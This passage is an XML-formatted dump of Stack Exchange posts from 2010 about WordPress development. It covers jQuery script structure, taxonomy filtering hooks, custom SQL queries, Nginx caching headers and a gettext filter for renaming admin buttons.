  <row Id="3656" PostTypeId="2" ParentId="3654" CreationDate="2010-11-04T20:03:30.287" Score="1" ViewCount="" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Plugins&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Being able to customize theme codes and play with plugin functionality&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;control&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;it is cheap enough and you can use a hosting anyway for other stuff like online backup, ur own mail , photogallery, even tweets backup - so it is not a lost investement or a wp-only use&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="692" LastEditorUserId="692" LastEditorDisplayName="" LastEditDate="2010-11-04T20:09:24.760" LastActivityDate="2010-11-04T20:09:24.760" CommentCount="0" />
  <row Id="3657" PostTypeId="2" ParentId="3618" CreationDate="2010-11-04T20:04:35.903" Score="2" ViewCount="" Body="&lt;p&gt;FLAGallery - Very good way to display the gallery - has all the options of NextGEN&lt;/p&gt;&#xA;&#xA;&lt;p&gt;some screenshots : &lt;a href=&quot;http://wordpress.org/extend/plugins/flash-album-gallery/screenshots/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/flash-album-gallery/screenshots/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See it in action on some blog : &#xA;&lt;a href=&quot;http://abzyy.com/?p=527&quot; rel=&quot;nofollow&quot;&gt;http://abzyy.com/?p=527&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;some skins :&#xA;&lt;a href=&quot;http://www.flash-photogallery.com/3d-cube-grand-flagallery-skin.html&quot; rel=&quot;nofollow&quot;&gt;http://www.flash-photogallery.com/3d-cube-grand-flagallery-skin.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps (:&lt;/p&gt;&#xA;" OwnerUserId="692" LastActivityDate="2010-11-04T20:04:35.903" />
  <row Id="3658" PostTypeId="1" AcceptedAnswerId="3677" CreationDate="2010-11-04T20:21:58.867" Score="1" ViewCount="184" Body="&lt;p&gt;I've got a small .js file on my wp site where I have been adding in all of my small js scripts. It works perfectly, but I am stuck trying to figure out how to add in another script. So far jslint does not complain about my current file and says it is ok.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(function ($) {&#xA;function mycarousel_initCallback(carousel) {&#xA;jQuery('.jcarousel-control a').bind('click', function() {&#xA;    carousel.scroll(jQuery.jcarousel.intval(jQuery(this).text()));&#xA;    return false;&#xA;});&#xA;&#xA;jQuery('.jcarousel-scroll select').bind('change', function() {&#xA;    carousel.options.scroll = jQuery.jcarousel.intval(this.options[this.selectedIndex].value);&#xA;    return false;&#xA;});&#xA;&#xA;// Next Button&#xA;$('#mycarousel-next').bind('click',&#xA;function() {&#xA;    carousel.next();&#xA;    return false;&#xA;});&#xA;&#xA;// Prev Button&#xA;$('#mycarousel-prev').bind('click',&#xA;function() {&#xA;    carousel.prev();&#xA;return false;&#xA;});&#xA;};&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The script I want to add in starts like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($) {&#xA;var gallery = $('#thumbs').galleriffic({&#xA;    delay:                     3000, // in milliseconds&#xA; });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where I keep getting stuck, is that I am finding a lot of scripts that start with the jQuery(document) part. When I try to add scripts that begin like that then everything breaks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm guessing this is a really stupid question, but what do I need to change in the new addon script so that it will play nice with my current file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank you for your help and time on this one. Trying hard to learn js though it's a slow process here.&lt;/p&gt;&#xA;" OwnerUserId="370" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2010-11-05T21:21:11.820" LastActivityDate="2010-11-05T21:21:11.820" ClosedDate="2010-11-05T21:41:04.867" Title="combining js scripts from a js newb" Tags="&lt;jquery&gt;&lt;javascript&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="3659" PostTypeId="2" ParentId="3650" CreationDate="2010-11-04T20:36:20.757" Score="1" ViewCount="" Body="&lt;p&gt;Piggybacking on Denis's comment about the site's domain having changed....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you can get access to the database (ie. if your host has phpmyadmin on its control panel) check the 'siteurl' option in the wp_options table of the database. If that option is set to an address that redirects or doesn't resolve, you won't be able to get into your admin section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen that sort of thing happen before when a hosting provider had a setting that redirected all requests from domain.url to www.domain.url, but the blog's 'siteurl' option was set as &lt;a href=&quot;http://domain.url&quot; rel=&quot;nofollow&quot;&gt;http://domain.url&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2010-11-04T20:36:20.757" />
  <row Id="3660" PostTypeId="1" AcceptedAnswerId="3669" CreationDate="2010-11-04T20:49:11.410" Score="1" ViewCount="413" Body="&lt;p&gt;After reading &#xA;&lt;em&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/578/adding-a-taxonomy-filter-to-admin-list-for-a-custom-post-type&quot;&gt;Adding a Taxonomy Filter to Admin List for a Custom Post Type?&lt;/a&gt;&lt;/em&gt; I tried it but I wasn't able to get it to filter two (2) different taxonomies at same time. The system is only filtering latest taxonomy and ignoring other one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how to filter two taxonomies at same time?&lt;/p&gt;&#xA;" OwnerUserId="1372" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-11-04T21:19:35.103" LastActivityDate="2010-11-04T22:06:48.263" Title="Filtering Posts by Multiple Taxonomy Terms such as in an Admin Post Listing?" Tags="&lt;custom-post-types&gt;&lt;wp-admin&gt;&lt;taxonomy&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="3661" PostTypeId="2" ParentId="3626" CreationDate="2010-11-04T20:54:53.060" Score="1" ViewCount="" Body="&lt;p&gt;If you are using Nginx to serve static content then you will need to manually add your expires headers to your Nginx server file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;location ~* \.(jpg|png|gif|jpeg|css|js|mp3|wav|swf|mov|doc|pdf|xls|ppt|docx|pptx|xlsx)$ {&#xA;&#xA;                        expires 7776000;&#xA;&#xA;                }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-11-04T20:54:53.060" />
  <row Id="3662" PostTypeId="2" ParentId="3626" CreationDate="2010-11-04T21:08:19.273" Score="2" ViewCount="" Body="&lt;p&gt;do you have mod_expires installed and enabled in your apache module? &lt;/p&gt;&#xA;" OwnerUserId="34" LastActivityDate="2010-11-04T21:08:19.273" CommentCount="1" />
  <row Id="3663" PostTypeId="2" ParentId="3654" CreationDate="2010-11-04T21:10:11.213" Score="0" ViewCount="" Body="&lt;p&gt;Main reason probably will be &quot;Using WordPress as CMS with custom post types and plugin/theme freedom&quot;&lt;/p&gt;&#xA;" OwnerUserId="1372" LastActivityDate="2010-11-04T21:10:11.213" CommunityOwnedDate="2010-11-04T21:10:20.900" />
  <row Id="3664" PostTypeId="1" CreationDate="2010-11-04T21:21:54.177" Score="1" ViewCount="1050" Body="&lt;p&gt;I'm using &lt;a href=&quot;http://www.instinct.co.nz/e-commerce/&quot; rel=&quot;nofollow&quot;&gt;WP e-Commerce (Wordpress Plugin)&lt;/a&gt;. I want to add a field in Categories (image field for category background). How can I do that?&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-04T12:52:31.477" LastActivityDate="2011-02-04T12:52:31.477" Title="How-To add Custom field in Wordpress wp-ecommerce Categories?" Tags="&lt;3.0&gt;&lt;plugin-wp-e-commerce&gt;" AnswerCount="1" />
  <row Id="3665" PostTypeId="1" AcceptedAnswerId="3999" CreationDate="2010-11-04T21:38:57.943" Score="1" ViewCount="492" Body="&lt;p&gt;I'm sure this question is asked alot, but I cannot figure it out, since all the different ways to query posts are confusing me.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my current code.&lt;br&gt;&#xA;How can I tell the code to only get posts from category ID #22? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$querystr = &quot; &#xA;    SELECT post_id, AVG(meta_value) AS total, COUNT(post_id) as num_karakter&#xA;    FROM sk_postmeta&#xA;    WHERE meta_key = 'krit_karakter'&#xA;    GROUP BY post_id&#xA;    ORDER BY total DESC&#xA;    LIMIT 5&#xA;    &quot;; &#xA;$pageposts = $wpdb-&amp;gt;get_results($querystr, OBJECT); &#xA;&#xA;if ($pageposts) { ?&amp;gt;&#xA;    &amp;lt;ul class=&quot;smartbar-items&quot;&amp;gt;&#xA;    &amp;lt;?php foreach ($pageposts as $post): &#xA;        setup_postdata($post); ?&amp;gt; &#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo get_permalink($post-&amp;gt;post_id);?&amp;gt;&quot;&amp;gt;&amp;lt;img src=&quot;&amp;lt;?php bloginfo('url');?&amp;gt;/wp-content/files_mf/&amp;lt;?php echo get_post_meta($post-&amp;gt;post_id, 'game_poster', true); ?&amp;gt;&quot; width=&quot;80&quot; height=&quot;110&quot; alt=&quot;&amp;lt;?php echo get_the_title($post-&amp;gt;post_id);?&amp;gt;&quot; /&amp;gt;  &amp;lt;br /&amp;gt;&amp;lt;?php echo get_the_title($post-&amp;gt;post_id);?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;?php  endforeach; ?&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for all help! &lt;/p&gt;&#xA;" OwnerUserId="1463" LastActivityDate="2010-11-13T06:57:02.760" Title="Select category in custom query" Tags="&lt;categories&gt;&lt;query-posts&gt;&lt;customization&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="3666" PostTypeId="1" CreationDate="2010-11-04T21:49:00.707" Score="0" ViewCount="252" Body="&lt;p&gt;I have a hosted blog on wordpress.com. I read that in order to add a custom favicon.ico (to replace the WordPress icon) I need to go to General -&gt; Settings and upload a new Blavatar in the top right, which I did.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The WP icon is still showing up (even with a totally emptied cache and in a new browser on different computer). I see my icon is showing up for the apple-touch-icon, but not the shortcut icon or icon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something else that I need to do in order to have it show up?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example of the code I'm referring to that will not update:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;shortcut icon&quot; type=&quot;image/x-icon&quot; href=&quot;http://s1.wp.com/i/favicon-stacked.ico?m=3535353&quot; sizes=&quot;16x16 24x24 32x32 48x48&quot; /&amp;gt; // incorrect as it's pointing to wp.com&#xA;&amp;lt;link rel=&quot;icon&quot; type=&quot;image/x-icon&quot; href=&quot;http://s1.wp.com/i/favicon-stacked.ico?m=3535353&quot; sizes=&quot;16x16 24x24 32x32 48x48&quot; /&amp;gt; // incorrect as it's pointing to wp.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code is correct:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;apple-touch-icon&quot; href=&quot;http://0.gravatar.com/blavatar/a535535a553?s=322&quot; /&amp;gt; // this is correct because it's pointing to gravatar.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have seen other blogs on *.wordpress.com that have custom images so I know it's possible. The question is -- why isn't my custom image showing up??&lt;/p&gt;&#xA;" OwnerUserId="1462" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2010-11-05T13:29:39.983" LastActivityDate="2010-11-05T13:29:39.983" ClosedDate="2011-02-06T18:22:20.673" Title="Custom favicon.ico on subdomain.wordpress.com?" Tags="&lt;images&gt;&lt;wordpress.com&gt;" CommentCount="3" />
  <row Id="3667" PostTypeId="2" ParentId="3665" CreationDate="2010-11-04T21:49:22.037" Score="3" ViewCount="" Body="&lt;p&gt;You would need to join in the sk_term_relationships table.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$querystr = &quot; &#xA; SELECT post_id, AVG(meta_value) AS total, COUNT(post_id) as num_karakter&#xA; FROM sk_postmeta p&#xA; inner join sk_term_relationship t on p.post_id = t.object_id &#xA;  and t.term_taxonomy_id = 22&#xA; WHERE meta_key = 'krit_karakter'&#xA; GROUP BY post_id&#xA; ORDER BY total DESC&#xA; LIMIT 5&#xA;&quot;; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="442" LastActivityDate="2010-11-04T21:49:22.037" CommentCount="2" />
  <row Id="3669" PostTypeId="2" ParentId="3660" CreationDate="2010-11-04T22:06:48.263" Score="3" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Ünsal Korkmaz:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have the time to actually write up a fully working example for you right now, but since you requested help in email I figured I would point you in the right direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you may or may not know, this isn't really an issue for the admin post listing; most all of that code should work fine.  The issue is that currently WordPress does not have the ability to use &lt;code&gt;query_posts()&lt;/code&gt;/&lt;code&gt;get_posts()&lt;/code&gt;/&lt;code&gt;WP_Query&lt;/code&gt; to filter on more than one taxonomy term without using hooks. &lt;em&gt;(There is a very good chance that will change in v3.1; we can only hope!)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution is to use a &lt;code&gt;'posts_where'&lt;/code&gt; hook as illustrated here with the &lt;code&gt;tax_terms_where()&lt;/code&gt; function written for that answer: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/2255/getting-the-intersection-of-two-custom-taxonomy-terms-for-a-custom-post-type&quot;&gt;&lt;strong&gt;Getting the Intersection of Two Custom Taxonomy Terms for a Custom Post Type?&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You'll also need to modify the &lt;code&gt;'parse_query'&lt;/code&gt; hook to capture your filter values, something like this &lt;em&gt;(I have not tested this, so there may be small syntax errors):&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_filter('parse_query','yoursite_parse_query');&#xA;function yoursite_parse_query($query) {&#xA;  global $pagenow;&#xA;  $qv = &amp;amp;$query-&amp;gt;query_vars;&#xA;  if ($pagenow=='edit.php') {&#xA;    $tax_terms = array();&#xA;    if (!empty($qv['marka'])) &#xA;      $tax_terms[] = &quot;marka:{$qv['marka']}&quot;;&#xA;    if (!empty($qv['konu'])) &#xA;      $tax_terms[] = &quot;konu:{$qv['konu']}&quot;;&#xA;    if (count($tax_terms)) &#xA;      $qv['tax_terms'] = implode(',',$tax_terms);&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above assumes you have dropdowns with names of &lt;code&gt;'marka'&lt;/code&gt; and &lt;code&gt;'konu'&lt;/code&gt;. You'll probably also need to &lt;strong&gt;tell WordPress to recognize them as query vars&lt;/strong&gt; using an &lt;code&gt;'admin_init'&lt;/code&gt; hook. Again, I haven't tested this so I'm hoping it works as written:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init','yoursite_init');&#xA;function yoursite_init() {&#xA;  global $wp;&#xA;  $wp-&amp;gt;add_query_var('marka');&#xA;  $wp-&amp;gt;add_query_var('konu');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's about it. Combine the knowledge of the three posts; this one, the one on &lt;a href=&quot;http://wordpress.stackexchange.com/questions/578/adding-a-taxonomy-filter-to-admin-list-for-a-custom-post-type/582#582&quot;&gt;admin lists&lt;/a&gt;, and the one on &lt;a href=&quot;http://wordpress.stackexchange.com/questions/2255/getting-the-intersection-of-two-custom-taxonomy-terms-for-a-custom-post-type/2942#2942&quot;&gt;multiple taxonomy queries&lt;/a&gt; and I think you'll get it done. You might even want to post your solution for others to learn from. Let me know if you get stuck.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-11-04T22:06:48.263" />
  <row Id="3670" PostTypeId="1" AcceptedAnswerId="3693" CreationDate="2010-11-04T22:30:04.980" Score="0" ViewCount="267" Body="&lt;p&gt;I'm working on building a recipe/meal planning site in WordPress. I need to have recipes indexable and sortable by the ingredients required, and I'm trying to figure out the best way of doing that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, I would like to have ingredients in one taxonomy, and utensils/appliances required in another taxonomy. I'm coming up against a stumbling block, though, because I can't think of any simple way to associate measurements with the ingredients.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where I'm at now is using custom fields for the ingredients and values for the measurements and units, like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Meta Key:&lt;/strong&gt; eggs     &lt;strong&gt;Meta Value:&lt;/strong&gt; 3|eggs&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Meta Key:&lt;/strong&gt; flour    &lt;strong&gt;Meta Value:&lt;/strong&gt; 2.75|cups&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, is there a better way of structuring this information?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related, there apparently is a &lt;a href=&quot;http://microformats.org/wiki/hrecipe&quot; rel=&quot;nofollow&quot;&gt;microformat specification for recipes&lt;/a&gt;, which is essentially the format I plan on using for display. There is a WordPress plugin (&lt;a href=&quot;http://wordpress.org/extend/plugins/hrecipe/&quot; rel=&quot;nofollow&quot;&gt;hRecipe&lt;/a&gt;) to generate this output format, but its not semantic enough for my liking. If/when I figure out a better way of storing this kind of data, I'll probably release it as plugin... &lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2010-11-05T13:42:04.133" Title="Best structure for entering recipes in a WordPress theme?" Tags="&lt;custom-taxonomy&gt;&lt;custom-field&gt;&lt;structuring&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="3671" PostTypeId="1" AcceptedAnswerId="3744" CreationDate="2010-11-05T00:51:15.740" Score="4" ViewCount="235" Body="&lt;p&gt;I have my blog hosted at &lt;a href=&quot;http://www.alphaot.com&quot; rel=&quot;nofollow&quot;&gt;www.alphaot.com&lt;/a&gt; and I guess it's good enough. But problems arise when the lines of code get longer than 30 characters. The lines just wrap and get icky or something they even don't wrap!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your experience what's a great WordPress theme for a developers blog to post code to?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I'm using Windows Live Writer, any extensions for code publishing you would recommend?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More than plugins, I'm interested on a clean, free wordpress theme that is WIDE so the code doesn't have to be wrapped.&lt;/p&gt;&#xA;" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2010-11-05T12:45:07.060" LastActivityDate="2010-11-07T17:07:13.000" Title="What theme is good for posting code?" Tags="&lt;themes&gt;&lt;theme-recommendation&gt;&lt;syntax-highlighting&gt;&lt;code&gt;" AnswerCount="5" CommentCount="3" FavoriteCount="2" />
  <row Id="3672" PostTypeId="2" ParentId="3671" CreationDate="2010-11-05T00:56:49.723" Score="1" ViewCount="" Body="&lt;p&gt;I've found success using Nathan Rice's &lt;a href=&quot;http://www.nathanrice.net/plugins/single-post-template/&quot; rel=&quot;nofollow&quot;&gt;Single Post Template&lt;/a&gt; plugin, and creating a &quot;no-sidebar&quot; template page for posting code. Works pretty well for most cases.&lt;/p&gt;&#xA;" OwnerUserId="10" LastActivityDate="2010-11-05T00:56:49.723" />
  <row Id="3673" PostTypeId="2" ParentId="3578" CreationDate="2010-11-05T02:53:44.847" Score="0" ViewCount="" Body="&lt;p&gt;You could just find the button via jQuery and swap the text node for something else. That would be a piece of cake to do.&lt;/p&gt;&#xA;" OwnerUserId="10" LastActivityDate="2010-11-05T02:53:44.847" />
  <row Id="3674" PostTypeId="2" ParentId="3578" CreationDate="2010-11-05T06:44:51.180" Score="1" ViewCount="" Body="&lt;p&gt;The code for hakre's suggestion to use translation filter would be something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'gettext', 'change_publish_button', 10, 2 );&#xA;&#xA;function change_publish_button( $translation, $text ) {&#xA;&#xA;if ( $text == 'Publish' )&#xA;    return 'Save';&#xA;&#xA;return $translation;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-11-05T06:44:51.180" />
  <row Id="3675" PostTypeId="2" ParentId="3578" CreationDate="2010-11-05T08:08:11.077" Score="4" ViewCount="" Body="&lt;p&gt;If you look into &lt;code&gt;/wp-admin/edit-form-advanced.php&lt;/code&gt;, you will find the meta box:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_meta_box('submitdiv', __('Publish'), 'post_submit_meta_box', $post_type, 'side', 'core');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note the &lt;code&gt;__('Publish')&lt;/code&gt; – the function &lt;code&gt;__()&lt;/code&gt; leads to &lt;code&gt;translate()&lt;/code&gt; where you get the filter &lt;code&gt;'gettext'&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two ways to handle your problem: 1. Address the string in a single specialized function (be sure to match the correct textdomain!) or 2. use a more generic approach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;@Rarst has &lt;em&gt;just now&lt;/em&gt; posted version 1, so I'll add version 2. :)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: Retranslate&#xA;Description: Adds translations.&#xA;Version:     0.1&#xA;Author:      Thomas Scholz&#xA;Author URI:  http://toscho.de&#xA;License:     GPL v2&#xA;*/&#xA;&#xA;class Toscho_Retrans {&#xA;    // store the options&#xA;    protected $params;&#xA;&#xA;    /**&#xA;     * Set up basic information&#xA;     * &#xA;     * @param  array $options&#xA;     * @return void&#xA;     */&#xA;    public function __construct( array $options )&#xA;    {&#xA;        $defaults = array (&#xA;            'domain'       =&amp;gt; 'default'&#xA;        ,   'context'      =&amp;gt; 'backend'&#xA;        ,   'replacements' =&amp;gt; array ()&#xA;        ,   'post_type'    =&amp;gt; array ( 'post' )&#xA;        );&#xA;&#xA;        $this-&amp;gt;params = array_merge( $defaults, $options );&#xA;&#xA;        // When to add the filter&#xA;        $hook = 'backend' == $this-&amp;gt;params['context'] &#xA;            ? 'admin_head' : 'template_redirect';&#xA;&#xA;        add_action( $hook, array ( $this, 'register_filter' ) );&#xA;    }&#xA;&#xA;    /**&#xA;     * Conatiner for add_filter()&#xA;     * @return void&#xA;     */&#xA;    public function register_filter()&#xA;    {&#xA;        add_filter( 'gettext', array ( $this, 'translate' ), 10, 3 );&#xA;    }&#xA;&#xA;    /**&#xA;     * The real working code.&#xA;     * &#xA;     * @param  string $translated&#xA;     * @param  string $original&#xA;     * @param  string $domain&#xA;     * @return string&#xA;     */&#xA;    public function translate( $translated, $original, $domain )&#xA;    {&#xA;        // exit early&#xA;        if ( 'backend' == $this-&amp;gt;params['context'] )&#xA;        {&#xA;            global $post_type;&#xA;&#xA;            if ( ! empty ( $post_type ) &#xA;                &amp;amp;&amp;amp; ! in_array( $post_type, $this-&amp;gt;params['post_type'] ) )&#xA;            {&#xA;                return $translated;&#xA;            }&#xA;        }&#xA;&#xA;        if ( $this-&amp;gt;params['domain'] !== $domain )&#xA;        {&#xA;            return $translated;&#xA;        }&#xA;&#xA;        // Finally replace&#xA;        return strtr( $original, $this-&amp;gt;params['replacements'] );&#xA;    }&#xA;}&#xA;&#xA;// Sample code&#xA;// Replace 'Publish' with 'Save' and 'Preview' with 'Lurk' on pages and posts&#xA;$Toscho_Retrans = new Toscho_Retrans(&#xA;    array (&#xA;        'replacements' =&amp;gt; array ( &#xA;            'Publish' =&amp;gt; 'Save'&#xA;        ,   'Preview' =&amp;gt; 'Lurk' &#xA;        )&#xA;    ,   'post_type'    =&amp;gt; array ( 'page', 'post' )&#xA;    )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You don't need to use the code as a plugin. Including it in your theme's functions.php will be enough.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To remove the original Save button (not sure what the 'draft' button is), add the following code to your functions.php/a plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_print_footer_scripts', 'remove_save_button' );&#xA;function remove_save_button()&#xA;{   &#xA;?&amp;gt;&#xA;&amp;lt;script&amp;gt;&#xA;jQuery(document).ready(function($){$('#save-post').remove();});&#xA;&amp;lt;/script&amp;gt;&amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Yes, it's ugly.&lt;/p&gt;&#xA;" OwnerUserId="73" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2010-11-06T21:54:44.687" LastActivityDate="2010-11-06T21:54:44.687" CommentCount="4" />
  <row Id="3676" PostTypeId="2" ParentId="3462" CreationDate="2010-11-05T08:42:29.763" Score="3" ViewCount="" Body="&lt;p&gt;You can use the &quot;syndicated_post&quot; hook that's available in FWP and hook in a function that checks for duplicate posts.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('syndicated_post', 'fwp_check_duplicate');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I started working on this a few months back but did not complete it.  I basically got to the point of flagging potential duplicates and putting them in draft mode instead of publishing.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function fwp_check_duplicate ( $post ) {&#xA;    global $wpdb;&#xA;    $handle; &#xA;    $possible_duplicate;&#xA;&#xA;    $query = &quot;SELECT id,guid &#xA;               FROM $wpdb-&amp;gt;posts &#xA;               WHERE post_title = '%s' &#xA;               AND post_date_gmt like %s&quot;;&#xA;&#xA;    $sql = $wpdb-&amp;gt;prepare(&#xA;                    $query, &#xA;                    $post['post_title'], &#xA;                    gmdate('Y-m-d', $post['epoch']['issued']).&quot;%&quot; );&#xA;&#xA;    $results = $wpdb-&amp;gt;get_results( $sql, ARRAY_N);&#xA;    foreach ( $results as $result ) { &#xA;        if ( $result['guid'] != $post['guid'] ) { &#xA;            $possible_duplicate = true; &#xA;        } &#xA;    }&#xA;&#xA;    if ($possible_duplicate) {&#xA;     $post['post_status'] = &quot;draft&quot;;&#xA;    }&#xA;    // Otherwise continue to process.&#xA;&#xA;    return $post;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="1480" LastActivityDate="2010-11-05T08:42:29.763" CommentCount="1" />
  <row Id="3677" PostTypeId="2" ParentId="3658" CreationDate="2010-11-05T09:00:57.993" Score="2" ViewCount="" Body="&lt;p&gt;The &lt;a href=&quot;http://api.jquery.com/ready/&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;jQuery(document).ready&lt;/code&gt;&lt;/a&gt; event is called when the document DOM is ready to be manipulated. In earlier days we attached all our handlers to &lt;code&gt;document.load&lt;/code&gt;, but this waits until all images are loaded too, and most of the time one doesn't need that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are three equivalent ways of hooking into this event, and a fourth almost-equivalent:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Long form&#xA;jQuery(document).ready(function() {&#xA;    // Your handler&#xA;});&#xA;&#xA;// Short form&#xA;jQuery(function() {&#xA;    // Your handler&#xA;});&#xA;&#xA;// Intermediate form (not recommended)&#xA;jQuery().ready(function() {&#xA;    // Your handler&#xA;});&#xA;&#xA;// Classic event binding - will not be executed again if you hook it too late&#xA;jQuery(document).bind(&quot;ready&quot;, function() {&#xA;    // Your handler&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You sometimes see &lt;code&gt;$&lt;/code&gt; used instead of &lt;code&gt;jQuery&lt;/code&gt;. This is easy because it is shorted, but some other JS libraries use it also. To prevent overwriting others, jQuery can be executed in &lt;a href=&quot;http://api.jquery.com/jQuery.noConflict/&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;noConflict&lt;/code&gt; mode&lt;/a&gt;. This means that &lt;code&gt;$&lt;/code&gt; is not used, only &lt;code&gt;jQuery&lt;/code&gt; is. But, the first argument to 